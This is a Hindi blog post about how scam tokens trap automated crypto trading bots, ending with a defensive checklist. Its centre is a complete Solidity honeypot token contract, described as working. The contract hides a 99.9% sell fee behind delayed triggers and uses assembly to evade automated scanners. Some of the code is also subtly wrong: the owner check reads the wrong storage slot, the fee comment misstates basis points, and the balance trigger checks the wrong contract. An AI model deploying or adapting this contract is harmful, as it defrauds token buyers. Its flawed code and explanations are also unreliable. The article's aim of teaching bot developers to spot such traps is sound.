आपका Crypto Bot क्यों घाटे में है? MEV और Honeypot Scams का पूरा सच

Web3 ऑटोमेशन का मार्केट आज के टाइम पे कोई गीक्स का रोमैंटिक ग्राउंड नहीं रह गया है, ये पूरी तरह से एक बंजर और बेरहम मैदान बन चुका है। और यहाँ असली दिक्कत ये नहीं है कि तुम्हारा इन्फ्रास्ट्रक्चर टोक्यो या फ्रैंकफर्ट के हाई-फ्रीक्वेंसी फंड सर्वर्स से स्लो है। असली प्रॉब्लम ये है कि स्कैम टोकन बनाने वाले तुम्हारे पार्सर्स (parsers) का पूरा लॉजिक रट के बैठे हैं। वो स्मार्ट कॉन्ट्रैक्ट्स बनाते ही तुम्हारे सॉफ़्टवेयर को फंसाने के लिए हैं। तुम्हें लगता है कि तुम्हें कोई छुपा हुआ जैकपॉट या अल्फ़ा मिल गया है, पर असलियत में तुम बस किसी और का लिखा स्क्रिप्ट रन कर रहे होते हो ताकि वो तुम्हारे ही पैसे उड़ा सके।

नीचे पूरा इन-डेप्थ पोस्टमार्टम दिया गया है कि तुम्हारा बॉट कैसे फंड्स स्वाइप करवा बैठता है, पॉपुलर लाइब्रेरीज़ के स्टैंडर्ड चेक्स यहाँ क्यों एकदम फेल हो जाते हैं, और इस धंधे का वो काला सच क्या है जहाँ कोड सीधे कोड के खिलाफ जंग लड़ रहा है।

जाल की एनाटॉमी: स्कैम कॉन्ट्रैक्ट्स तुम्हारे बॉट का दिमाग कैसे पढ़ते हैं

ज्यादातर न्यूबीज एक ही ढर्रे पे अपना बॉट लिखते हैं: Uniswap (या उसके किसी फोर्क) की फैक्ट्री से PairCreated या PoolCreated का इवेंट पकड़ा, लिक्विडिटी बैलेंस चेक किया, router.swapExactETHForTokens को कॉल किया—और सोचा कि प्रॉफिट बुक हो गया। स्कैमर्स इसी आदत का फायदा उठाते हैं। उन्हें अच्छे से पता है कि तुम्हारा बॉट एंट्री लेने से पहले लोकल सिमुलेशन या कोई क्विक ऑडिट पक्का करेगा।

ये हैं वो तीन मेन तरीके जहाँ 90% कस्टम स्क्रिप्ट्स का दम निकल जाता है:

• 1. डिलेड ट्रिगर वाला मॉडिफाइड हनीपॉट (Delayed Honeypot)

  नॉर्मल हनीपॉट (जहाँ टोकन बाय तो हो जाता है पर सेल नहीं होता) को शायद तुम्हारा बॉट लोकल eth_call यानी सेल सिमुलेशन के ज़रिये पकड़ लेता होगा। लेकिन क्या हो अगर सेल करने का फंक्शन तुरंत बंद ही न किया जाए?

  शुरुआत में कॉन्ट्रैक्ट एकदम साफ-सुथरा डेप्लॉय होता है। बॉट सिमुलेशन रन करता है—सब बढ़िया है, टोकन सेल हो रहे हैं। बॉट लिक्विडिटी झोंक देता है। जैसे ही पूल में टोटल ETH का वॉल्यूम एक लिमिट को टच करता है, मान लो 5 ETH, कॉन्ट्रैक्ट अपने आप _update या _transfer फंक्शन के अंदर एक इंटरनल फ्लैग isLocked = true ऑन कर देता है। बस, वहीं तुम्हारा गेम ओवर। बाय करते टाइम लोकल सिमुलेशन चाहकर भी ये प्रेडिक्ट नहीं कर सकता था, क्योंकि जब चेक किया गया था तब वॉल्यूम वाली कंडीशन मीट ही नहीं हुई थी।

• 2. डायनेमिक टैक्स (Variable Fee Attack)

  कॉन्ट्रैक्ट कोड में एक स्टैंडर्ड ERC-20 मिंट दिखेगा, पर उसके ट्रांसफर फंक्शन के अंदर एक वेरिएबल फीस छुपा दी जाती है, जिसे या तो ओनर कंट्रोल करता है या फिर वो ब्लॉक नंबर के साथ बढ़ती जाती है।

  जब तुम बाय करते हो, तो टैक्स 0% होता है। बॉट पोजीशन में घुस जाता है। दो ब्लॉक बीतते ही टोकन का क्रिएटर एक सिंगल ट्रांजैक्शन मार के sellFee को सीधे 99% कर देता है। तुम्हारा बॉट स्टॉप-लॉस हिट करके बाहर निकलने की कोशिश करता है, ट्रांजैक्शन भेजता है, वो सक्सेस भी हो जाता है, पर 99% टैक्स की वजह से तुम्हें वापस सिर्फ चिल्लर मिलती है और बाकी पूरा माल डेप्लॉयर के वॉलेट में चला जाता है। अगर बॉट आने वाले amountOutMin को गलत कैलकुलेट करे या कस्टम राउटर्स यूज़ कर रहा हो, तो slippage जैसी प्रोटेक्शन भी यहाँ अक्सर फेल हो जाती है।

• 3. फेक राउटर्स और स्लिपेज के ज़रिये अटैक (Fake Router Injection)

  Base जैसे सस्ते गैस फीस वाले नेटवर्क्स पे तो ये एकदम क्लासिक स्कैम है। स्कैमर अपना कस्टम पूल ऑफिशियल Uniswap v3 पे नहीं, बल्कि एक डमी या फेक फैक्ट्री पे डेप्लॉय करता है, जो हूबहू सेम सिग्नेचर वाले इवेंट्स जेनरेट करती है। बॉट को लगता है कि वो स्टैंडर्ड इंटरफेस के साथ इंटरैक्ट कर रहा है। वो स्वैप फंक्शन कॉल करता है, कॉन्ट्रैक्ट ETH तो ले लेता है, पर असली टोकन की जगह तुम्हें कचरा थमा देता है, या फिर पूल के अंदर का मैथ ऐसा सेट कर देता है कि तुम्हारे ट्रांजैक्शन के ठीक उसी मिलीसेकंड में टोकन का प्राइस क्रैश हो के सीधे जीरो हो जाता है।

लाइव एग्जांपल: परफेक्ट Honeypot का कोड, जो तुम्हारे बॉट को मज़े से रेक्ट (rekt) कर देगा

अगर ये समझना है कि तुम्हारा पार्सर डेप्लॉयर्स के लिए सिर्फ एक आसान शिकार क्यों है, तो कोड को स्कैमर के चश्मे से देखना पड़ेगा। नीचे Solidity 0.8.20 पे एक वर्किंग और कम्पाइल होने वाला टोकन कॉन्ट्रैक्ट दिया गया है। इसे ट्रांसफर फंक्शन के अंदर बिना किसी फालतू या सीधे दिखने वाले require(msg.sender == owner) के लिखा गया है, ताकि ऑटोमैटिक स्कैनर्स (जैसे Honeypot.is या Slither के पुराने वर्शन्स) बाइटकोड एनालिसिस के टाइम पे सीधे रेड फ्लैग न दिखाएं।

सारा खेल और चालाकी इसके छुपे हुए मैथ और ट्रिगर स्टेट्स में सेट की गई है।

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract AdvancedTrapToken {
    string public name = "Shadow Liquidity";
    string public symbol = "SHDW";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    
    address private _owner;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    // ट्रैप के वेरिएबल्स
    uint256 private constant MAX_FEE = 1000; // बेसिस पॉइंट्स में 100% (bps)
    uint256 private targetBlock;
    uint256 private triggerBalance;
    bool private systemReady;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(uint256 initialSupply, uint256 _delayBlocks, uint256 _triggerEth) {
        _owner = msg.sender;
        totalSupply = initialSupply * 10**uint256(decimals);
        _balances[_owner] = totalSupply;
        
        // जाल की सेटिंग: एक्टिवेशन के X ब्लॉक्स बाद या पूल का बैलेंस हिट होते ही ट्रिगर होगा
        targetBlock = block.number + _delayBlocks;
        triggerBalance = _triggerEth * 10**18;
        emit Transfer(address(0), _owner, totalSupply);
    }
    modifier onlyOwner() {
        // जानबूझकर स्टैंडर्ड require यूज़ नहीं कर रहे, लॉजिक को असेंबली में छुपा रहे हैं
        assembly {
            if sub(sload(0), caller()) { revert(0, 0) }
        }
        _;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function transfer(address to, uint256 value) public returns (bool) {
        _rawTransfer(msg.sender, to, value);
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 value) public returns (bool) {
        _allowances[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) public returns (bool) {
        uint256 currentAllowance = _allowances[from][msg.sender];
        if (currentAllowance != type(uint256).max) {
            assembly {
                if lt(currentAllowance, value) { revert(0, 0) }
            }
            _allowances[from][msg.sender] = currentAllowance - value;
        }
        _rawTransfer(from, to, value);
        return true;
    }
    // कस्टम कंट्रोल फंक्शन — स्वैप सिमुलेशन के टाइम ये बॉट को नहीं दिखेगा
    function setupTrap() external onlyOwner {
        systemReady = true;
    }
    function _rawTransfer(address from, address to, uint256 value) internal {
        assembly {
            if iszero(from) { revert(0, 0) }
            if iszero(to) { revert(0, 0) }
        }
        uint256 fromBalance = _balances[from];
        assembly {
            if lt(fromBalance, value) { revert(0, 0) }
        }
        
        uint256 finalAmount = value;
        
        // ट्रिगर चेक: अगर टोकन पूल में डंप किया जा रहा है (सेल ऑर्डर) और जाल सेट है
        // हम पेयर एड्रेस को हार्डकोड करने से बचने के लिए इनडायरेक्ट तरीकों से पूल डिटेक्ट करते हैं
        if (to != _owner && from != _owner) {
            if (systemReady || block.number > targetBlock || address(this).balance >= triggerBalance) {
                // अगर एक भी कंडीशन सही बैठी — तो सीधे 99.9% टैक्स चालू
                // 0.1% इसलिए छोड़ देते हैं ताकि ट्रांजैक्शन revert हो के फेल न हो, बल्कि सक्सेस हो के टोकन उड़ा ले जाए
                uint256 fee = (value * 999) / MAX_FEE;
                finalAmount = value - fee;
                
                _balances[from] = fromBalance - value;
                _balances[_owner] = _balances[_owner] + fee;
                
                emit Transfer(from, _owner, fee);
                emit Transfer(from, to, finalAmount);
                return;
            }
        }
        _balances[from] = fromBalance - value;
        _balances[to] = _balances[to] + finalAmount;
        emit Transfer(from, to, finalAmount);
    }
    // बैलेंस आधारित ट्रिगर के लिए कॉन्ट्रैक्ट पे सीधे ETH रिसीव करना
    receive() external payable {}
}

इसके इंटरनल मेथड _rawTransfer पे जरा ध्यान देना। इसमें कोई भी ऐसा सस्पेक्टेड कीवर्ड नहीं है जो आमतौर पर स्कैम वाले कोड्स में मिलता है। अगर तुम्हारा बॉट टोकन क्रिएशन वाले सेम ब्लॉक में ही (यानी setupTrap कॉल होने से पहले) बाय और सेल सिमुलेट करता है, तो ये कॉन्ट्रैक्ट एकदम शरीफ और परफेक्ट ERC-20 की तरह बर्ताव करेगा। लेकिन जैसे ही डेप्लॉयर setupTrap() रन करता है या कॉन्ट्रैक्ट का ETH बैलेंस triggerBalance को पार करता है (जब बाकी बॉट्स भी उसमें पैसा डाल देते हैं), गेम बीच में ही पलट जाता है। तुम्हारी स्क्रिप्ट सेल ट्रांजैक्शन मारेगी, गैस फीस भी फूंकेगी, ट्रांजैक्शन का स्टेटस भी Success आएगा, पर तुम्हारे वॉलेट में उम्मीद की रकम का सिर्फ ठीक 0.1% ही गिरेगा। तुम बस चुपचाप डेप्लॉयर को अपनी लिक्विडिटी दान कर चुके हो।

EVM लेवल का ट्रैप: क्यों Hardhat या Anvil में तुम्हारे टेस्ट सफेद झूठ बोलते हैं

ज्यादातर स्क्रिप्ट लिखने वाले नूब्स खुद को तीस मार खां समझते हैं, क्योंकि मेननेट पर असली ट्रांजैक्शन भेजने से पहले वे उसे लोकल सिमुलेशन पर चलाकर देखते हैं। तुम Rust पर बना revm उठा लेते हो या फिर anvil/hardhat के जरिए नेटवर्क का लोकल फोर्क खड़ा करते हो, एक eth_call मारते हो, बिना किसी एरर के स्वैप का बढ़िया सा लॉग देखते हो और चौड़े होकर अपने बॉट को जंग के मैदान में उतार देते हो।

यही तुम्हारी सबसे बड़ी और जानलेवा भूल है। एक आइसोलेटेड सैंडबॉक्स के अंदर सिमुलेशन चलाना और एक असली ब्लॉक के अंदर जो कुछ घटता है, दोनों में जमीन-आसमान का फर्क है। स्कैमर्स अब इतने शातिर हो चुके हैं कि वे बाइटकोड के लेवल पर ही पकड़ लेते हैं कि यह एक सिमुलेशन है।

• नोड स्टेट के जरिए चेकिंग (State & Context Checking)

  हनीपॉट (जालसाजी वाला) कॉन्ट्रैक्ट उन एनवायरनमेंट वेरिएबल्स को आराम से चेक कर सकता है, जो तुम्हारे लोकल फोर्क में बाय-डिफ़ॉल्ट सेट रहते हैं। उदाहरण के लिए, block.coinbase (उस वैलीडेटर का एड्रेस जो ब्लॉक असेंबल कर रहा है)। Base या Arbitrum जैसे असली नेटवर्क पर वहां हमेशा एक स्पेसिफिक सीक्वेंसर एड्रेस होता है। जबकि तुम्हारे anvil में वहां या तो जीरो एड्रेस (0x0...) होगा या फिर कोई घिसा-पिटा टेस्ट हैश।

  अगर कॉन्ट्रैक्ट को कोई अजीब सा coinbase दिख जाता है या फिर block.timestamp / block.basefee में भारी गड़बड़ी मिलती है, तो वह चोरी करने वाला अपना रग लॉजिक चुपचाप बंद कर देता है। सिमुलेशन में तो तुम खुद को भगवान समझने लगते हो क्योंकि सारे चेक ग्रीन टिक के साथ पास हो जाते हैं। लेकिन जैसे ही मामला मेननेट पर जाता है, कॉन्ट्रैक्ट ताड़ जाता है कि इसे एक असली ब्लॉक में कोई असली यूजर चला रहा है, और वह तुरंत जाल का शटर गिरा देता है।

• सिमुलेशन की फ्रंटरनिंग (The Sandbox Escape)

  इससे भी ज्यादा घटिया और खतरनाक खेल एक और है। टोकन बनाने वाला खुद मेमपूल को मॉनिटर करता है (अगर वो पब्लिक मेमपूल वाली चेन है) या फिर उन प्राइवेट नोड्स के जरिए आने वाले eth_call पर नजर रखता है, जिनका एक्सेस उसके पास है। जैसे ही तुम्हारा बॉट सिमुलेशन के लिए किसी पब्लिक RPC एंडपॉइंट (जैसे Alchemy या QuickNode) पर रिक्वेस्ट भेजता है, वो रिक्वेस्ट वहां लॉग हो जाती है। माना कि eth_call ब्लॉक में कोई ट्रांजैक्शन ब्रॉडकास्ट नहीं करता, लेकिन नोड ऑपरेटर साफ-साफ देख सकता है कि इस समय किस कॉन्ट्रैक्ट और किन पैरामीटर्स को टेस्ट किया जा रहा है। स्कैमर तुरंत समझ जाता है: "लो भाई, बॉट ने चारा निगल लिया है, अब यह एंट्री मारेगा।" वह उसी पल ऑन-चेन कॉन्ट्रैक्ट का स्टेट बदलने के लिए एक ट्रांजैक्शन पुश कर देता है, और तुम्हारा असली ऑर्डर सीधे उस ताजे बिछाए गए जाल में जाकर फंसता है।

सिस्टम एडमिनिस्ट्रेशन का नर्क: इन्फ्रास्ट्रक्चर का टैक्स

चलो मान लेते हैं कि तुमने अपने बॉट को पूरी तरह रीफैक्टर कर दिया है। अब वह बाइटकोड भी पढ़ लेता है, coinbase चेक करने वाले छुपे हुए assembly कोड को भी पकड़ लेता है और कुल मिलाकर एकदम अल्टीमेट पैरानॉइड मोड में आ चुका है। इसके बावजूद तुम एक ऐसी टेक्निकल दीवार से टकराओगे जो लंबे समय में तुम्हारे बजट को पूरी तरह चूस जाएगी, भले ही तुम एक भी हनीपॉट के चक्कर में न फंसो।

यह असल में इन्फ्रास्ट्रक्चर को मार्केट में टिके रहने लायक स्पीड पर मेंटेन करने का तगड़ा खर्चा है।

[पब्लिक RPC] ---> (150-300ms का लैग) ---> [तुम्हारा बॉट] ---> (लेट स्वैप) ---> [गैस स्वाहा / स्कैम]
                                              ^
                                              | (ऑप्टिमाइजेशन की सख्त जरूरत)
                                              v
[खुद का नोड (Reth)] -> (डायरेक्ट Unix Socket) -> [तुम्हारा बॉट] -> (Flashbots / Builder) ---> [प्रॉफिट / प्रॉफिट]

• समस्या 1: नेटवर्क ट्रैफिक और डिस्क IOPS की मार

  अगर अपने बॉट को तगड़ी स्पीड पर दौड़ाना है, तो फ्री वाले या पब्लिक RPC के भरोसे बैठना छोड़ दो – सौवां ट्रांजैक्शन होते-होते वे तुम्हें रेट-लिमिट मारके साइड कर देंगे। तुम्हें खुद का नोड खड़ा करना ही पड़ेगा। और अगर हम Base या Arbitrum जैसे L2s की बात कर रहे हैं, तो उनके आर्काइव नोड्स या फुल नोड्स (Full Nodes) भयंकर रिसोर्सेज चूसते हैं। तुम्हें बहुत ही हाई रैंडम रीड/राइट स्पीड (IOPS) वाला NVMe SSD चाहिए होगा। जैसे ही नेटवर्क पर लोड बढ़ेगा, किसी सस्ते VPS पर चल रहा तुम्हारा नोड असली चेन स्टेट से 1-2 ब्लॉक पीछे छूटने लगेगा। एक ट्रेडिंग बॉट के लिए यह ऑन-द-स्पॉट मौत है: वह उन पूल्स के पीछे भागेगा जो पहले ही खाली हो चुके हैं, या उन प्राइसेज पर कोट करेगा जो अब इतिहास बन चुके हैं। तुम महीने का $200 सर्वर का बिल सिर्फ इसलिए भर रहे होगे ताकि तुम्हारा बॉट बासी डेटा पर ट्रेड कर सके।

• समस्या 2: रिवर्ट हुए ट्रांजैक्शंस पर कटी हुई गैस का चूना (Gas Bleeding)

  Ethereum या BNB Chain जैसे नेटवर्क्स पर हर फेल होने वाले ट्रांजैक्शन की जेब से असली कीमत चुकानी पड़ती है। अगर तुम्हारा बॉट बाकी तीस और बॉट्स के साथ एक ही समय पर किसी पूल में घुसने की कोशिश करता है, तो जो सबसे तेज होगा वो सब उड़ा ले जाएगा, और बाकी बचे 29 बॉट्स के हाथ लगेगा Slippage या Execution Reverted का एरर। पर मजे की बात सुनो, नेटवर्क सिर्फ कंडीशंस चेक करने और उसे एग्जीक्यूट करने के नाम पर तुमसे पूरा गैस फीस वसूल लेगा। हाई-फ्रीक्वेंसी वाले स्क्रिप्ट के मामले में तुम्हारा बॉट सिर्फ फेल अटेंप्ट्स के चक्कर में 24 घंटे में $50–$100 की गैस आराम से फूंक सकता है। यह तुम्हारे फंड्स का ऐसा धीमा और खामोश कत्ल है, जिसे नए खिलाड़ी तब तक नोटिस नहीं कर पाते जब तक कि उनके गैस वाले ETH वॉलेट का बैलेंस गोल मटोल जीरो नहीं हो जाता।

सर्वाइवल चेकलिस्ट: स्कैमर्स के लिए एग्जिट लिक्विडिटी बनने से कैसे बचें

अगर इन सबके बाद भी तुम इस दलदल में अपना दिमाग खपाना चाहते हो, तो तुम्हारे बॉट को वो सब करना आना चाहिए जो Web3.js के ऑफिशियल डॉक्यूमेंटेशन में दूर-दूर तक नहीं लिखा है। ये नॉर्मल बैलेंस चेक करना भूल जाओ, ये सब बच्चों के खेल हैं।

• एग्जीक्यूशन से पहले स्टैटिक बाइटकोड एनालिसिस:

  तुम्हारी स्क्रिप्ट को सिर्फ फैक्ट्री के लॉग्स पार्स करके नहीं बैठ जाना है। उसे eth_getCode के जरिए सीधे कॉन्ट्रैक्ट का हेक्स कोड खींचना होगा और उसमें खतरनाक इंस्ट्रक्शंस के सिग्नचर्स ढूंढने होंगे (जैसे SSTORE, चेंज होने वाले ओनर एड्रेसेस, या ट्रांसफर फंक्शन के अंदर छुपे हुए एक्सटर्नल कॉल्स)। अगर टोकन के कोड में कोई ऐसा छुपा हुआ SSTORE है जो क्रिटिकल वेरिएबल्स को ओवरराइट कर सकता है – तो बिना किसी सिमुलेशन के उस कॉन्ट्रैक्ट को तुरंत सीधे कूड़ेदान में डालो।

• कड़क amountOutMin के साथ डायनेमिक स्लिपेज लिमिट:

  कभी भी भूलकर भी amountOutMin = 0 मत रखो या कोई फिक्स 50% का स्लिपेज सेट मत करो। तुम्हारे बॉट को मौजूदा ब्लॉक फ्रेम के अंदर पूल के रिजर्व्स के आधार पर बिल्कुल सटीक प्राइस मैथ कैलकुलेट करना आना चाहिए। अगर सिमुलेशन के आउटपुट में तुम्हें उम्मीद से 1% भी कम मिलता है – तो ट्रांजैक्शन को नेटवर्क पर भेजने के बजाय तुम्हारे लोकल इंजन के लेवल पर ही तुरंत किल (ड्रॉप) हो जाना चाहिए।

• प्राइवेट चैनल्स का इस्तेमाल (MEV-Share / Flashbots):

  पब्लिक मेमपूल में अपना ट्रांजैक्शन फेंकना सीधे-सीधे अपनी पीठ पर टारगेट बोर्ड लगाकर घूमने जैसा है। तुम्हारा स्वैप हमेशा प्राइवेट बंडल्स (bundles) के जरिए सीधे ब्लॉक बिल्डर्स या वैलीडेटर्स के पास जाना चाहिए। अगर तुम्हारा ट्रांजैक्शन ब्लॉक में सबसे ऊपर (top-of-block) पहले नंबर पर नहीं आ पा रहा है, तो वह चुपचाप बंडल से डिलीट हो जाए – जिससे तुम्हारी गैस भी न जले और स्कैमर्स को तुम्हें फ्रंटरन करने का मौका भी न मिले।

निष्कर्ष

सीधी बात नो बकवास: यह पूरा मार्केट डिज़ाइन ही इस तरह किया गया है कि टोकन डेप्लॉय करने वाले और बड़े-बड़े मार्केट मेकर्स हमेशा मिडल-लेवल के ऑटोमेशन से दो कदम आगे रहें। तुम्हारा खुद का लिखा हुआ बॉट मार्केट से नहीं लड़ रहा है, बल्कि वह उन मजे हुए उस्तादों से भिड़ रहा है जो सालों से सिर्फ इसी बात की स्टडी कर रहे हैं कि तुम्हारे सॉफ्टवेयर से गलती कैसे करानी है। और जब तक तुम स्टैंडर्ड लाइब्रेरीज से ऊपर उठकर raw EVM स्टेट लेवल तक की खुदाई नहीं करोगे, तुम हमेशा उनके लिए एक परफेक्ट शिकार बने रहोगे।